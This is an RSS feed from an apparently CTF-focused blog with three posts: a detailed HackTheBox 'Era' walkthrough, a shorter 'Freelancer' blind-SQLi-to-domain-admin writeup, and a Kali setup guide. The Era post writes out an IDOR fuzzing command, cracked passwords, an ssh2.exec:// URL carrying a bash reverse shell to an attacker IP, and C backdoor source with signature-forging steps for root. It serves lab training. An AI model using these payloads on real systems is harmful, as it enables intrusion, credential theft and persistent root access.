<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[CTF Security]]></title><description><![CDATA[CTF Security]]></description><link>https://blog.ctfsecurity.com</link><image><url>https://cdn.hashnode.com/uploads/logos/69f617100ab374db9909afb5/d237debd-fd78-46d9-b6a6-d8befdb49c32.jpg</url><title>CTF Security</title><link>https://blog.ctfsecurity.com</link></image><generator>RSS for Node</generator><lastBuildDate>Sat, 02 May 2026 18:46:19 GMT</lastBuildDate><atom:link href="https://blog.ctfsecurity.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[HackTheBox: Era - Full Writeup]]></title><description><![CDATA[Difficulty: Medium OS: Linux Category: Web, Privilege Escalation Author: r007sec

Overview
Era is a Linux machine that chains together several interesting vulnerabilities. The path to root involves ID]]></description><link>https://blog.ctfsecurity.com/hackthebox-era-full-writeup</link><guid isPermaLink="true">https://blog.ctfsecurity.com/hackthebox-era-full-writeup</guid><category><![CDATA[Web Security]]></category><category><![CDATA[#HackTheBox]]></category><dc:creator><![CDATA[ctfsec]]></dc:creator><pubDate>Sat, 02 May 2026 16:38:05 GMT</pubDate><content:encoded><![CDATA[<p><strong>Difficulty:</strong> Medium <strong>OS:</strong> Linux <strong>Category:</strong> Web, Privilege Escalation <strong>Author:</strong> r007sec</p>
<hr />
<h2>Overview</h2>
<p>Era is a Linux machine that chains together several interesting vulnerabilities. The path to root involves IDOR-based file enumeration, SQLite credential extraction, PHP stream wrapper abuse for RCE via <code>ssh2.exec://</code>, and finally a cron-based binary replacement attack that bypasses a custom AV signature check.</p>
<hr />
<h2>Reconnaissance</h2>
<p><strong>Target IP:</strong> <code>10.10.11.79</code></p>
<p>Starting with a full service scan:</p>
<pre><code class="language-bash">nmap -sV -sC 10.10.11.79 -oN era_scan
</code></pre>
<p>![](<a href="https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/eff5600f-fc76-4fe5-b3da-0a3b3a29af16.png">https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/eff5600f-fc76-4fe5-b3da-0a3b3a29af16.png</a> align="middle")</p>
<p>The scan reveals two open ports: <strong>21 (FTP)</strong> and <strong>80 (HTTP)</strong>.</p>
<hr />
<h2>Web Enumeration</h2>
<p>The web application is a standard file hosting panel. Before diving into the UI, we run a virtual host enumeration to look for hidden subdomains:</p>
<pre><code class="language-bash">gobuster vhost -u http://era.htb -w /usr/share/wordlists/dirb/common.txt --append-domain -t 100 --timeout 5s
</code></pre>
<p>![](<a href="https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/cc4854f5-0470-4e25-8421-9d7affdd0cb2.png">https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/cc4854f5-0470-4e25-8421-9d7affdd0cb2.png</a> align="middle")</p>
<p>This reveals <code>file.era.htb</code>. Add it to <code>/etc/hosts</code> and navigate to it. The subdomain hosts a separate file management interface.</p>
<p>Next, fuzz for hidden endpoints on the subdomain:</p>
<pre><code class="language-bash">dirsearch -u file.era.htb
</code></pre>
<p>![](<a href="https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/858f074d-6360-49c9-a3a0-4aa582fc0cd3.png">https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/858f074d-6360-49c9-a3a0-4aa582fc0cd3.png</a> align="middle")</p>
<p>Found: <code>/register.php</code></p>
<hr />
<h2>Getting a Foothold</h2>
<h3>User Registration and File Upload</h3>
<p>Register an account at <code>/register.php</code> using any credentials. After logging in, the application allows file uploads. Upload a PHP reverse shell and note the session cookie:</p>
<p>![](<a href="https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/c4abdf76-2c1e-4ea7-8e4c-83ae7e4e02d5.png">https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/c4abdf76-2c1e-4ea7-8e4c-83ae7e4e02d5.png</a> align="middle")</p>
<pre><code class="language-plaintext">PHPSESSID=8j7lgjsukj2fnlsq0beevmf9v0
</code></pre>
<h3>IDOR via Sequential ID Fuzzing</h3>
<p>The download endpoint uses a numeric <code>id</code> parameter with no authorization check. Generate a sequence and fuzz it:</p>
<pre><code class="language-bash">seq 1 8000 &gt; id.txt

ffuf -u 'http://file.era.htb/download.php?id=FUZZ' \
  -w id.txt \
  -H 'Cookie: PHPSESSID=8j7lgjsukj2fnlsq0beevmf9v0' \
  -fw 3161
</code></pre>
<p>![](<a href="https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/4645ad1e-ec6d-4ad1-bb23-013a9040c2d9.png">https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/4645ad1e-ec6d-4ad1-bb23-013a9040c2d9.png</a> align="middle")</p>
<p>Three interesting responses come back at IDs <strong>54</strong>, <strong>150</strong>, and <strong>1956</strong>:</p>
<ul>
<li><p><strong>54</strong> is a site backup archive: <code>site-backup-30-08-24.zip</code></p>
</li>
<li><p><strong>150</strong> is <code>signing.zip</code></p>
</li>
<li><p><strong>1956</strong> is our uploaded reverse shell</p>
</li>
</ul>
<hr />
<h2>Credential Extraction from SQLite</h2>
<p>Download and extract the backup:</p>
<p>![](<a href="https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/c378fc43-6a1a-4df2-96ec-c1d766e6c7d0.png">https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/c378fc43-6a1a-4df2-96ec-c1d766e6c7d0.png</a> align="middle")</p>
<pre><code class="language-bash">unzip site-backup-30-08-24.zip
</code></pre>
<p>Inside is a SQLite database file. Open it and extract credentials:</p>
<pre><code class="language-bash">sqlite3 filedb.sqlite
.tables
.schema users
SELECT user_name || ':' || user_password FROM users;
</code></pre>
<p>This gives us bcrypt hashes for several users:</p>
<p>![](<a href="https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/a571c6c4-3c0e-4785-a726-bf4591b68ad8.png">https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/a571c6c4-3c0e-4785-a726-bf4591b68ad8.png</a> align="middle")</p>
<pre><code class="language-plaintext">admin_ef01cab31aa:\(2y\)10$wDbohsUaezf74d3sMNRPi...
eric:\(2y\)10$S9EOSDqF1RzNUvyVj7OtJ...
veronica:\(2y\)10$xQmS7JL8UT4B3jAYK7js...
yuri:\(2b\)12$HkRKUdjjOdf2WuTXovkH...
john:\(2a\)10$iccCEz6.5.W2p7CSBOr3...
ethan:\(2a\)10$PkV/LAd07ftxVzBHhrpg...
</code></pre>
<p>Crack with John:</p>
<p>![](<a href="https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/a37c6058-a002-4ada-834d-a9dfb23bc787.png">https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/a37c6058-a002-4ada-834d-a9dfb23bc787.png</a> align="middle")</p>
<pre><code class="language-bash">john --wordlist=/usr/share/wordlists/rockyou.txt hash
</code></pre>
<p>Results:</p>
<pre><code class="language-plaintext">eric:america
yuri:mustang
</code></pre>
<hr />
<h2>FTP Access as Yuri</h2>
<pre><code class="language-bash">ftp yuri@era.htb
# password: mustang
</code></pre>
<p>Navigate the FTP directory and look inside <code>php8.1_conf</code>. You will find <code>ssh2.so</code> present, which is the compiled PHP SSH2 extension. This is a critical finding that we will exploit shortly.</p>
<hr />
<h2>PHP Stream Wrapper RCE (ssh2.exec://)</h2>
<h3>Vulnerability Analysis</h3>
<p>Review the source code from the backup. The <code>download.php</code> file contains this logic:</p>
<pre><code class="language-php">\(format = isset(\)_GET['format']) ? $_GET['format'] : '';

if (strpos($format, '://') !== false) {
    \(wrapper = \)format;
    header('Content-Type: application/octet-stream');
} else {
    $wrapper = '';
    header('Content-Type: text/html');
}

\(file_content = fopen(\)wrapper ? \(wrapper . \)file : $file, 'r');
</code></pre>
<p><strong>The problem:</strong> The code checks only whether <code>://</code> exists in the <code>format</code> parameter. It never validates which wrapper is being used. With <code>ssh2.so</code> loaded, the following wrappers are all available:</p>
<pre><code class="language-plaintext">ssh2.shell://user:pass@host:22/xterm
ssh2.exec://user:pass@host:22/command
ssh2.sftp://user:pass@host:22/path
</code></pre>
<p>Since <code>eric:america</code> is a valid local account, we can use <code>ssh2.exec://</code> to execute arbitrary commands as the web server process.</p>
<h3>Security Questions Bypass</h3>
<p>The application has a <code>security_login.php</code> page that compares security answers stored as <strong>plaintext</strong> in the database. Query them directly:</p>
<pre><code class="language-plaintext">if (
    \(answer1 === \)user_data['security_answer1'] &amp;&amp;
    \(answer2 === \)user_data['security_answer2'] &amp;&amp;
    \(answer3 === \)user_data['security_answer3']
) {
</code></pre>
<pre><code class="language-sql">SELECT user_name, security_answer1, security_answer2, security_answer3 FROM users;
</code></pre>
<p>Use <code>reset.php</code> to reset Eric's security answers if needed, then authenticate through the security login to obtain <code>erauser = 1</code> session privilege, which is required for the <code>show=true</code> code path.</p>
<h3>Triggering the Reverse Shell</h3>
<p>Set up a listener:</p>
<pre><code class="language-bash">nc -lvnp 4444
</code></pre>
<p>Send the payload. The <code>; cat</code> at the end absorbs any trailing output the application appends to the stream:</p>
<pre><code class="language-plaintext">http://file.era.htb/download.php?id=1956&amp;show=true&amp;format=ssh2.exec://eric:america@127.0.0.1/bash%20-c%20%27%28bash%20-i%20%3E%26/dev/tcp/10.10.14.174/4444%200%3E%261%29%3B%20cat%27
</code></pre>
<p>![](<a href="https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/7bbc29cb-adfa-4b95-b64f-446bd25a1704.png">https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/7bbc29cb-adfa-4b95-b64f-446bd25a1704.png</a> align="middle")</p>
<p>Shell received. We are inside as eric.</p>
<hr />
<h2>Privilege Escalation to Root</h2>
<h3>Process Monitoring with pspy64</h3>
<p>Transfer <code>pspy64</code> to the target and run it to watch for scheduled tasks:</p>
<pre><code class="language-bash">wget http://10.10.14.174:8000/pspy64
chmod +x pspy64
./pspy64 &amp;
</code></pre>
<p>After watching for a minute, a pattern emerges: root executes <code>/opt/AV/periodic-checks/monitor</code> every minute via <code>/root/initiate_monitoring.sh</code>.</p>
<p>Check permissions on the binary:</p>
<pre><code class="language-bash">find / -user root -group devs -type f 2&gt;/dev/null
</code></pre>
<p>The <code>monitor</code> binary is owned by root but <strong>group-writable by the</strong> <code>devs</code> <strong>group</strong>, which our current user belongs to. This is a textbook cron-based privilege escalation.</p>
<h3>Bypassing the AV Signature Check</h3>
<p>The binary contains a non-standard ELF section called <code>.text_sig</code>, which is a custom integrity signature. If the section is missing from a replacement binary, the AV wrapper will refuse to execute it.</p>
<p>The solution is to extract the signature from the legitimate binary and inject it into our backdoor:</p>
<p><strong>Step 1: Write the backdoor source</strong></p>
<pre><code class="language-bash">echo '#include &lt;stdlib.h&gt;
int main() {
    system("/bin/bash -c '\''bash -i &gt;&amp; /dev/tcp/10.10.14.174/8596 0&gt;&amp;1'\''");
    return 0;
}' &gt; /tmp/backdoor.c
</code></pre>
<p><strong>Step 2: Compile statically</strong></p>
<pre><code class="language-bash">gcc -static -o /tmp/monitor_backdoor /tmp/backdoor.c
</code></pre>
<p><strong>Step 3: Extract the original signature</strong></p>
<pre><code class="language-bash">objcopy --dump-section .text_sig=/tmp/sig /opt/AV/periodic-checks/monitor
</code></pre>
<p><strong>Step 4: Inject the signature into the backdoor</strong></p>
<pre><code class="language-bash">objcopy --add-section .text_sig=/tmp/sig /tmp/monitor_backdoor
</code></pre>
<p><strong>Step 5: Open a second listener</strong></p>
<pre><code class="language-bash">nc -lvnp 8596
</code></pre>
<p><strong>Step 6: Replace the monitor binary</strong></p>
<pre><code class="language-bash">cp /tmp/monitor_backdoor /opt/AV/periodic-checks/monitor
</code></pre>
<p>![](<a href="https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/f4542d48-ee1b-467b-b2b4-6ff1ecbba7bd.png">https://cdn.hashnode.com/uploads/covers/69f617100ab374db9909afb5/f4542d48-ee1b-467b-b2b4-6ff1ecbba7bd.png</a> align="middle")</p>
<p>Wait up to one minute. The cron job fires, executes your binary as root, and the reverse shell connects back.</p>
<p><strong>Root obtained.</strong></p>
<hr />
<h2>Key Takeaways</h2>
<p><strong>IDOR on download endpoint</strong> — Sequential numeric IDs with no authorization check exposed every file on the platform, including a database backup that contained all user credentials.</p>
<p><strong>PHP stream wrapper injection</strong> — Validating for <code>://</code> without whitelisting specific wrappers is not a security control. With <code>ssh2.so</code> loaded, an attacker can execute arbitrary commands via the <code>ssh2.exec://</code> wrapper without touching the filesystem.</p>
<p><strong>Plaintext security answers</strong> — Security questions that bypass password authentication are only as secure as their storage. Plaintext storage in a database that is already exposed via IDOR is a complete authentication bypass.</p>
<p><strong>Cron binary replacement</strong> — A cron job running as root that executes a group-writable binary is a direct path to privilege escalation. The AV signature check was a clever defense, but <code>objcopy</code> allows extraction and reuse of the signature section, making it ineffective against a local attacker with write access.</p>
<hr />
<p><em>Written by r007sec | CTFSecurity</em> <a href="https://www.youtube.com/channel/UCMq4uUwcWnYgfe3z5w3Kt7A"><em>YouTube</em></a> <em>|</em> <a href="https://discord.gg/7Kq5hdyJYZ"><em>Discord</em></a> <em>|</em> <a href="https://blog.ctfsecurity.com"><em>blog.ctfsecurity.com</em></a></p>
]]></content:encoded></item><item><title><![CDATA[HackTheBox: Freelancer - Blind SQLi to Domain Admin]]></title><description><![CDATA[Freelancer is a medium-rated HackTheBox machine that chains a blind SQL injection vulnerability into full Active Directory compromise. Here's my full walkthrough.
Reconnaissance
Starting with a standa]]></description><link>https://blog.ctfsecurity.com/hackthebox-freelancer-blind-sqli-to-domain-admin</link><guid isPermaLink="true">https://blog.ctfsecurity.com/hackthebox-freelancer-blind-sqli-to-domain-admin</guid><category><![CDATA[htb]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[Active Directory]]></category><category><![CDATA[SQL]]></category><dc:creator><![CDATA[ctfsec]]></dc:creator><pubDate>Sat, 02 May 2026 16:14:33 GMT</pubDate><content:encoded><![CDATA[<p>Freelancer is a medium-rated HackTheBox machine that chains a blind SQL injection vulnerability into full Active Directory compromise. Here's my full walkthrough.</p>
<h2>Reconnaissance</h2>
<p>Starting with a standard nmap scan:</p>
<pre><code class="language-shell">nmap -sC -sV -oA freelancer 10.10.11.X
</code></pre>
<p>Open ports: 80 (HTTP), 445 (SMB), 5985 (WinRM)</p>
<p>The web application is a freelancer job platform. After browsing the app, I noticed the job listing endpoint was potentially injectable.</p>
<h2>Finding the Blind SQLi</h2>
<p>The parameter <code>/jobs?id=1</code> returned different page sizes based on true/false conditions — classic boolean-based blind injection.</p>
<p>Testing with sqlmap:</p>
<pre><code class="language-shell">sqlmap -u "http://freelancer.htb/jobs?id=1" --dbs --batch --level=3
</code></pre>
<p>This confirmed injection and revealed the database structure.</p>
<h2>Extracting Credentials</h2>
<p>After dumping the admin table I recovered a bcrypt hash. Cracking it with hashcat:</p>
<pre><code class="language-shell">hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
</code></pre>
<p>With admin access to the app, I found a file upload feature that accepted ASPX files — leading to a webshell and initial foothold.</p>
<h2>Privilege Escalation to Domain Admin</h2>
<p>Running WinPEAS revealed the machine was domain-joined. BloodHound analysis showed the service account had GenericWrite over a privileged group.</p>
<p>Using a targeted kerberoasting attack and cracking the resulting TGS ticket, I obtained credentials for a domain admin account.</p>
<pre><code class="language-shell">net use \dc01\C$ /user:CORP\administrator
</code></pre>
<h2>Key Takeaways</h2>
<ul>
<li><p>Always test numeric parameters for boolean-based blind injection</p>
</li>
<li><p>File upload filters can often be bypassed with double extensions</p>
</li>
<li><p>GenericWrite ACL abuse is a reliable AD escalation path</p>
</li>
<li><p>BloodHound is essential for visualizing attack paths in AD environments</p>
</li>
</ul>
<p>Machine rated: Medium | Time: ~4 hours | Tools: nmap, sqlmap, hashcat, BloodHound</p>
]]></content:encoded></item><item><title><![CDATA[Setting Up Your First CTF Environment on Kali Linux]]></title><description><![CDATA[Getting started with CTF competitions requires a proper environment. In this guide, we'll set up a clean Kali Linux workspace optimized for CTF challenges.
What You'll Need

Kali Linux (latest version]]></description><link>https://blog.ctfsecurity.com/setting-up-your-first-ctf-environment-on-kali-linux</link><guid isPermaLink="true">https://blog.ctfsecurity.com/setting-up-your-first-ctf-environment-on-kali-linux</guid><category><![CDATA[ctfsecurity]]></category><category><![CDATA[blog]]></category><dc:creator><![CDATA[ctfsec]]></dc:creator><pubDate>Sat, 02 May 2026 15:59:44 GMT</pubDate><content:encoded><![CDATA[<p>Getting started with CTF competitions requires a proper environment. In this guide, we'll set up a clean Kali Linux workspace optimized for CTF challenges.</p>
<h2>What You'll Need</h2>
<ul>
<li><p>Kali Linux (latest version)</p>
</li>
<li><p>VirtualBox or VMware</p>
</li>
<li><p>At least 4GB RAM allocated</p>
</li>
</ul>
<h2>Step 1 - Update Your System</h2>
<p>Always start fresh:</p>
<p>sudo apt update &amp;&amp; sudo apt upgrade -y</p>
<h2>Step 2 - Install Essential Tools</h2>
<p>sudo apt install -y gobuster ffuf feroxbuster john hashcat bloodhound</p>
<h2>Step 3 - Set Up Your Directory Structure</h2>
<p>mkdir -p ~/ctf/{htb,thm,competitions}/{active,completed}</p>
<p>This keeps your work organized across platforms.</p>
<h2>Step 4 - Connect to HackTheBox or TryHackMe</h2>
<p>Download your VPN config from the platform and connect:</p>
<p>sudo openvpn your-vpn-file.ovpn</p>
<p>You're ready to hack. Happy hunting!</p>
]]></content:encoded></item></channel></rss>